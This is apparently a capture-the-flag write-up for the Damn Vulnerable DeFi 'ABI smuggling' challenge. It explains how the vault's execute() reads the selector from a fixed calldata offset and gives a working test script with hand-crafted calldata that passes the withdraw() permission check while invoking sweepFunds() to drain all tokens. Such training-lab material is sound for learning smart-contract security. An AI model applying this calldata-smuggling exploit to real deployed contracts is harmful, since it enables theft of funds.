Writeup for the ABI smuggling challenge in Damn Vulnerable Defi CTF Link to heading
The challenge is to extract all 1 million DVT tokens from a permissioned vault. The vault allows periodic withdrawals using the withdraw()
function, as well as emergency withdrawals using the sweep()
function. The contract includes a generic authorization scheme that only permits known accounts to execute certain actions.
The deployer is allowed to execute sweepFunds()
, and the player is allowed to execute withdraw()
. These functions cannot be called directly and require them to be called via the execute()
function. Our objective is to extract all DVT tokens from the contract.
Lets first see how the execute function works.
function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
// Read the 4-bytes selector at the beginning of `actionData`
bytes4 selector;
uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
assembly {
selector := calldataload(calldataOffset)
}
if (!permissions[getActionId(selector, msg.sender, target)]) {
revert NotAllowed();
}
_beforeFunctionCall(target, actionData);
return target.functionCall(actionData);
}
This function takes two parameters: target
and actionData
.
The target
parameter specifies the contract to call. The _beforeFunctionCall()
function restricts it to the Vault’s address.
The actionData
parameter is used to extract the selector from the calldata
of the execute()
function. This selector is then used to obtain an actionId. The msg.sender is checked for permission for the specific selector.
Finally, the target contract is called with the actionData
.
If we try to call the execute()
function with the following parameters:
- target: Vault’s address
- actionData: calldata for the
sweepFunds()
function
This will result in a NotAllowed() error because permissions[getActionId(selector, msg.sender, target)]
will return false. The only way to return true is if the selector is for the withdraw()
function.
Exploit Link to heading
To solve this issue, we need to modify the selector to refer to the withdraw()
function while still invoking the sweepFunds()
function using actionData
.
One important observation is that the selector is loaded as the first 4 bytes from the 4 + 32 * 3 offset in calldata. Therefore, we can manipulate the calldata of the execute()
function to ensure that calldataload
reads the selector as 0xd9caed12. This corresponds to the withdraw()
function. However, the actionData
should still call sweepFunds()
.
Let’s first understand how calldata is going to be for the execute function.
- 4 bytes : selector for execute() function
- 32 bytes : address type for the target
- 32 bytes : the location of the data part from the start of the arguments block
- 32 bytes : length of the data
- data starts from here…
The trick here is to set the start location of the data part to something higher, and at 4 + 32 * 3, place the selector for the withdraw()
function. This will load the selector as 0xd9caed12, but the actionData
will still call sweepFunds()
and be executed when loaded from our desired location.
Here’s how our calldata
will be structured in parts:
- 0x1cff79cd : execute() function selector
00 - 00000000000......0{{Vault's address}} : address of the target padded to 32 bytes
20 - 00000000000......80 : 0x80 the location for the start of actionData
40 - 00000000000..... : random 32 bytes because its not used anywhere
60 - d9caed12.....000 : 32 bytes data with first 4 bytes as selector for withdraw()
80 - 00000000.....44 : length of the actionData ( 4 + 32 + 32)
A0 - 85fb709d000...... : the calldata for sweepFunds() function
The selector will load as 0xd9caed12, while the actionData will be decoded as the calldata for sweepFunds.
Here is my solution :
it('Execution', async function () {
let target = vault.address;
let executeData = `0x1cff79cd000000000000000000000000${(vault.address).substr(2)}00000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000004d9caed1200000000000000000000000000000000000000000000000000000000`;
let actionData = `000000000000000000000000000000000000000000000000000000000000004485fb709d000000000000000000000000${(recovery.address).substr(2)}000000000000000000000000${(token.address).substr(2)}`;
let tx = {
to: vault.address,
data: executeData.concat(actionData)
}
await player.sendTransaction(tx);
});
Here is the link to the github repo :